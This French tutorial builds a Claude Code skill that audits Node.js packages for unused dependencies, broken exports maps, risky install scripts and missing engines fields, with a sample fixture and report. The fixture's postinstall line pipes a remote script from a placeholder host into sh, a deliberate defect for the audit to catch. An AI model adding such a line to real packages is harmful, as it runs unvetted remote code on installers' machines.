Comment auditer un projet Node avec un skill d'IA
Créez une skill Claude Code pour auditer les packages Node.js : dépendances inutilisées, scripts de cycle de vie risqués, exports cassés et problèmes de version, avec preuves.
Pour auditer un projet Node avec un skill d’IA, commitez un fichier SKILL.md dans .claude/skills/<skill-name>/. Ce fichier doit injecter votre vrai package.json et la sortie réelle de votre build dans le prompt, puis demander à Claude Code d’exécuter une courte liste de vérifications qui relèvent du jugement et de rapporter chaque constat avec des preuves à l’appui.
La plupart des revues de packages se terminent par les quatre mêmes commentaires : une dépendance que plus personne n’importe, un script postinstall que personne n’a lu, l’absence de champ engines et une map exports qui pointe vers un fichier que le build ne produit pas. Vous réécrivez ces commentaires sur chaque PR.
Cet article construit un petit skill d’audit dédié à cette tâche. Il présente le fichier complet, explique comment le faire se déclencher sur « audite ce package » et non à chaque modification, puis détaille une exécution sur un dépôt de test (fixture). Il aborde également les situations où le skill risque de se tromper.
Points clés à retenir
- Un skill de projet Claude Code est un dossier situé dans
.claude/skills/<skill-name>/qui contient un fichierSKILL.md. Commitez ce dossier et toute personne qui clone le dépôt dispose de la même commande/skill-name. - Une ligne de SKILL.md qui commence par !
cat package.jsons’exécute avant que Claude ne lise le skill : l’audit s’appuie ainsi sur le vrai manifeste, et non sur une supposition à son sujet. - Si une commande injectée échoue, Claude Code interrompt l’invocation tout entière. Avec le shell bash par défaut, tout code de sortie non nul est considéré comme un échec, à l’exception du code 1 renvoyé par les commandes de recherche et de comparaison. Une commande susceptible d’échouer pour des raisons légitimes doit être suivie de
|| true. - Un skill d’audit doit lire les scripts d’installation, jamais les exécuter. Gardez
npm install,npm cietnpm runhors des commandes injectées comme deallowed-tools. - ESLint,
npm auditet publint donnent la même réponse pour une même entrée. Ce n’est pas le cas d’un skill d’audit : réservez-le donc aux questions qui demandent du jugement.
Les quatre mêmes commentaires de revue sur chaque PR
Les mêmes commentaires de revue de packages reviennent sans cesse parce que les problèmes sous-jacents ne peuvent pas être tranchés par une règle. Déterminer si une dépendance est encore nécessaire implique de fouiller la base de code. Déterminer si un script postinstall a un comportement inattendu implique de le lire. Aucun linter ne propose d’option de configuration pour l’un ou l’autre.
Un skill Claude Code se prête bien à ce type de travail de jugement. Il s’agit d’un ensemble d’instructions réutilisables, rédigées dans un fichier SKILL.md, que Claude Code charge lorsqu’une requête correspond à sa description ou lorsque vous tapez son nom. Si ce format est nouveau pour vous, les guides consacrés aux skills Claude Code pour les workflows frontend et aux capacités réutilisables des agents d’IA expliquent le concept.
Comment créer un skill Claude Code pour l’audit de packages
Pour créer un skill Claude Code, ajoutez sous .claude/skills/ un répertoire contenant un fichier SKILL.md. Ce fichier comporte un frontmatter YAML encadré par des marqueurs ---, suivi d’instructions en Markdown. Le nom du répertoire, ou le champ name du frontmatter, devient la commande slash.
Créer le dossier du skill
Les skills de projet se trouvent dans le dossier .claude du dépôt. Claude Code charge un skill enregistré dans .claude/skills/<skill-name>/SKILL.md pour chaque session ouverte dans ce dépôt.
mkdir -p .claude/skills/node-package-audit
Le fichier SKILL.md complet
Enregistrez ce fichier sous .claude/skills/node-package-audit/SKILL.md. Le --- d’ouverture doit se trouver sur la ligne 1.
---
name: node-package-audit
description: Audits a Node.js package's package.json and build layout for judgement-call problems that linters miss, including dependencies that may no longer be needed, an exports map that does not match the build output, surprising install, postinstall or prepare scripts, a missing or wrong engines field, and files that break the repo's layout conventions. Use when the user asks to audit, review or sanity-check a package or its package.json, or asks whether a package is ready to publish. Not for routine code edits.
when_to_use: 'Requests like "audit this package", "review our package.json", "is this ready to publish" or "check our dependencies".'
allowed-tools: Bash(cat *) Bash(ls *) Bash(true) Read Grep Glob
---
## Manifest
!`cat package.json`
## Top-level files
!`ls -a`
## Build output
!`ls dist lib build || true`
## Instructions
Audit the package above. Do not run npm install, npm ci, npm run, or any
package script. Read files only.
For each check, report: finding, evidence (file and line, or the exact
field), and confidence (confirmed / unverified). If you cannot confirm a
finding from files you actually read, mark it unverified. Do not guess.
1. Dependencies: for each entry in dependencies and devDependencies,
search src, scripts in package.json, config files and bin entries for
a use. Flag only entries with no reference anywhere. Tools can be
referenced by string name in config files or invoked as CLIs in scripts.
2. Exports: compare every path in main, module, types, bin and exports
against the build output listed above. Flag paths that point at files
that don't exist, and conditions that point at the wrong format.
3. Lifecycle scripts: read preinstall, install, postinstall and prepare.
Flag anything that downloads, runs a remote script, writes outside
the package, or reads environment variables or credentials.
4. Layout: compare the package's file layout with sibling packages or
the repo's existing conventions. Flag deviations, not preferences.
5. Engines: flag a missing engines field, or a range that contradicts
syntax or APIs used in the source.
Finish with a table of findings, then a short list of what you could not
check and why.
Rôle du frontmatter et des commandes injectées
Chaque clé de ce fichier figure dans la référence du frontmatter. Aucune n’est obligatoire, même si la documentation recommande de renseigner description. Une clé inconnue ne déclenche aucune erreur : Claude Code l’ignore simplement, si bien qu’une coquille comme allowed_tools disparaît sans le moindre avertissement.
Les trois lignes ! font appel à l’injection dynamique de contexte. Avant que Claude ne lise le skill, Claude Code exécute chaque commande et remplace la ligne par ce que la commande a affiché. L’échec de l’une d’entre elles interrompt l’invocation tout entière. ls renvoie un code de sortie non nul lorsqu’un répertoire qu’on lui demande de lister n’existe pas, et un package qui n’a pas encore été buildé n’a pas de dist/. C’est pourquoi la ligne de sortie du build se termine par || true. cat package.json n’a volontairement pas de solution de repli : dans un package Node, l’absence de manifeste doit stopper l’audit.
Claude Code n’affiche pas de demande d’autorisation pour une commande injectée. En dehors du mode auto, une commande injectée que vos règles de permission n’autorisent pas explicitement interrompt l’invocation, et allowed-tools permet justement au skill de les pré-approuver. Claude Code vérifie séparément chaque partie d’une commande composée : ls dist lib build || true nécessite donc une règle pour true en plus de celle pour ls. C’est la raison de la présence de Bash(true) dans allowed-tools. L’autorisation ne vaut que pour le tour qui a invoqué le skill. Si une exécution s’interrompt avec Shell command permission check failed, ajoutez une règle d’autorisation pour cette commande dans vos paramètres de permissions.
Deux champs facultatifs du frontmatter de SKILL.md méritent d’être connus. paths limite le chargement automatique aux travaux portant sur des fichiers qui correspondent à ses globs. disable-model-invocation: true fait en sorte que le skill ne s’exécute que lorsque vous tapez /node-package-audit.
Rédiger une description qui se déclenche sur les audits, pas sur les modifications
Claude s’appuie sur le champ description pour décider de charger un skill sans qu’on le lui demande. Une description du type « Aide sur les projets Node » est trop vague pour correspondre de manière fiable à « audite ce package », et suffisamment large pour se charger lors de travaux sans rapport.
La description de node-package-audit ci-dessus énonce le cas d’usage dès sa première phrase, énumère les verbes déclencheurs (audit, review, sanity-check, ready to publish) et se termine par une exclusion explicite. La liste des skills tronque le texte combiné de description et when_to_use au-delà de 1 536 caractères : le cas d’usage principal doit donc figurer en tête. Si le skill se déclenche encore trop souvent, la documentation recommande une description plus précise ou une invocation uniquement manuelle.
Cinq vérifications qui exigent du jugement, pas des règles
Chaque vérification du skill pose une question qui dépend du contexte, et chacune exige un fichier ou un champ cité avant qu’un constat ne soit considéré comme confirmé.
Chaque dépendance est-elle encore nécessaire ? Le skill doit rechercher une utilisation avant de signaler une dépendance. Les imports constituent le cas simple. Les cas plus délicats concernent les packages invoqués en CLI dans scripts et les plugins désignés par une chaîne de caractères dans des fichiers de configuration.
exports correspond-il à la sortie du build ? Le skill compare les chemins déclarés à la sortie de ls qu’il a reçue. Un chemin vers un fichier inexistant est confirmé. Un doute quant au fait qu’une condition pointe vers le bon format est généralement marqué comme non vérifié.
Les scripts d’installation font-ils quelque chose d’inattendu ? npm 11 exécute par défaut les scripts preinstall, install et postinstall des dépendances. Il exécute aussi prepare pour les dépendances installées depuis des sources autres que le registre, comme git. npm 12, sorti le 8 juillet 2026, cesse d’exécuter ces scripts de dépendances tant que le package n’a pas été approuvé, et bloque de la même façon prepare pour les dépendances git, file et link. Les projets sous npm 11 ou antérieur, ainsi que les packages approuvés, continuent de les exécuter. Un script qui envoie un fichier distant vers un shell via un pipe mérite un commentaire en revue. Le skill lit ces scripts et ne doit jamais les exécuter, c’est pourquoi aucune commande npm n’apparaît ni dans les lignes injectées ni dans allowed-tools. La même logique de chaîne d’approvisionnement s’applique à la configuration CI, abordée dans l’audit de sécurité des workflows GitHub. La confiance accordée à l’espace de travail ne s’applique pas à allowed-tools dans un skill commité : Claude Code respecte ce champ même dans un dossier auquel vous n’avez jamais accordé votre confiance. Relisez-le donc dans tout dépôt que vous clonez.
L’arborescence respecte-t-elle les conventions du dépôt ? Par « conventions », on entend ce que font déjà les packages voisins. La consigne de signaler les écarts et non les préférences évite que la vérification ne dérive vers des conseils de style.
engines est-il absent ou erroné ? npm n’applique engines que lorsque l’installateur active engine-strict. Sinon, une incompatibilité de version affiche un avertissement et l’installation se poursuit. Une plage absente ou erronée échoue donc en silence, et c’est précisément ce qui rend cette vérification utile.
Vérifier que le skill se déclenche, puis l’exécuter
Vous disposez de quatre moyens de vérifier que le skill se déclenche : demander « What skills are available? », invoquer directement /node-package-audit, exécuter claude plugin validate .claude/skills ou lancer Claude Code avec --debug.
What skills are available?
/node-package-audit
claude plugin validate .claude/skills
claude --debug
claude plugin validate nécessite Claude Code v2.1.233 ou ultérieur. Si /node-package-audit fonctionne mais que « audite ce package » ne déclenche pas le skill, vérifiez d’abord le frontmatter. Un frontmatter qui ne peut pas être analysé n’empêche pas le chargement du skill. Claude Code le charge sans métadonnées : la commande slash fonctionne toujours, mais Claude ne dispose d’aucune description à laquelle comparer une requête. La documentation conseille également de limiter SKILL.md à moins de 500 lignes.
Une fixture avec des défauts volontaires
Ce package.json contient quatre défauts introduits volontairement. Son répertoire dist/ ne contient que index.js et index.d.ts, et un fichier .prettierrc mentionne prettier-plugin-organize-imports par son nom.
{
"name": "@acme/date-utils",
"version": "1.4.0",
"type": "module",
"main": "./dist/index.js",
"exports": {
".": {
"types": "./dist/index.d.ts",
"import": "./dist/index.mjs"
}
},
"scripts": {
"build": "tsc",
"lint": "eslint .",
"postinstall": "curl -fsSL https://example.com/setup.sh | sh"
},
"dependencies": {
"left-pad": "^1.3.0"
},
"devDependencies": {
"eslint": "^9.0.0",
"prettier-plugin-organize-imports": "^4.0.0",
"typescript": "^5.6.0"
}
}
Les défauts introduits sont left-pad, inutilisé, un chemin exports vers un index.mjs inexistant, un postinstall qui envoie un script distant vers un shell via un pipe, et l’absence de champ engines.
Le résultat et le faux positif
Le rapport se présente sous la forme d’un tableau de constats suivi d’une liste « could not check ». Voici un exemple de ce que cela donne pour cette fixture.
Findings
| # | Check | Finding | Evidence | Confidence |
|---|--------------|------------------------------------------------------|---------------------------------------------------|------------|
| 1 | Dependencies | left-pad has no use anywhere in the package | no import in src/, not named in scripts or config | confirmed |
| 2 | Dependencies | prettier-plugin-organize-imports may be unused | no import in src/ | unverified |
| 3 | Exports | exports["."].import points at a missing file | ./dist/index.mjs is not in the build output | confirmed |
| 4 | Lifecycle | postinstall downloads and runs a remote script | scripts.postinstall pipes curl output to sh | confirmed |
| 5 | Engines | package.json has no engines field | no "engines" key in package.json | confirmed |
Could not check
- Layout: there are no sibling packages or written conventions to compare against.
- Engines range: with no engines field, there is no range to test against the source.
L’erreur à anticiper est un faux signalement « inutilisé » sur prettier-plugin-organize-imports, puisque ce package n’apparaît que sous forme de chaîne dans un fichier de configuration. Les instructions du skill réduisent ce risque sans pouvoir l’éliminer. Lisez d’abord la colonne de confiance : considérez un constat de dépendance non vérifié comme une invitation à lancer vous-même un grep, et non comme une raison de la supprimer.
Un skill n’est pas un linter
Un skill traite les questions auxquelles les outils déterministes ne savent pas répondre, et il lui arrivera de se tromper. ESLint et publint renvoient le même résultat pour une même entrée, et npm audit fait de même pour un ensemble d’avis de sécurité donné : leur place est donc en CI, comme garde-fous bloquants. Le skill d’audit a sa place en revue, là où une personne examine ses preuves avant d’agir. Les arguments en faveur de l’automatisation des vérifications de code déterministes restent valables, et le skill ne remplace aucune d’entre elles.
Un chemin exports incorrect ou une plage engines erronée se manifeste généralement à l’exécution, et non en CI. Le session replay montre en contexte l’écran blanc, l’erreur de console et la requête en échec qui en résultent, tandis que le skill détecte la cause statique avant la publication.
Conclusion
Un petit skill d’audit fonctionne parce que son périmètre est restreint : il injecte de vrais fichiers, exécute cinq vérifications en citant ses preuves, lit les scripts d’installation sans les exécuter et indique clairement lorsqu’il n’est pas sûr. Commitez le SKILL.md ci-dessus, lancez /node-package-audit sur le package que vous passez le plus souvent en revue, et transformez en règle déterministe tout constat récurrent qu’une règle est capable d’exprimer.
FAQ
La vérification des scripts d'installation reste-t-elle utile maintenant que npm 12 bloque les scripts d'installation ?
Oui. npm 12.0.0 n'exécute plus les scripts preinstall, install ou postinstall des dépendances tant qu'ils n'ont pas été approuvés avec npm approve-scripts, et bloque de la même façon les scripts prepare des dépendances git, file et link. Les utilisateurs sous npm 11 ou antérieur continuent de les exécuter par défaut, et les packages approuvés continuent eux aussi de les exécuter. Un postinstall qui envoie un script distant vers un shell via un pipe mérite toujours une revue.
Où placer un skill d'audit dans un monorepo comportant de nombreux packages ?
Placez un skill d'audit partagé dans le dossier .claude/skills à la racine pour qu'il s'applique à l'ensemble du dépôt. Pour les règles propres à un package, commitez un skill distinct à l'intérieur de ce package, par exemple packages/api/.claude/skills/. Claude Code découvre les dossiers de skills imbriqués lorsque vous travaillez sur des fichiers de ce sous-répertoire : un skill propre à un package peut donc ne pas apparaître tant que Claude n'a pas lu ou modifié un fichier à cet emplacement.
Que se passe-t-il si un développeur possède un skill personnel portant le même nom que le skill commité ?
Le skill personnel l'emporte. Claude Code résout les conflits de noms de skills dans l'ordre entreprise, puis personnel, puis projet : un skill situé dans ~/.claude/skills/node-package-audit/SKILL.md masque donc, pour ce développeur, le fichier commité .claude/skills/node-package-audit/SKILL.md. Les skills de plugins disposent de leur propre espace de noms et n'entrent jamais en conflit. Si l'audit d'un collègue ignore les modifications récentes apportées à la version du dépôt, vérifiez d'abord l'existence d'un skill personnel du même nom.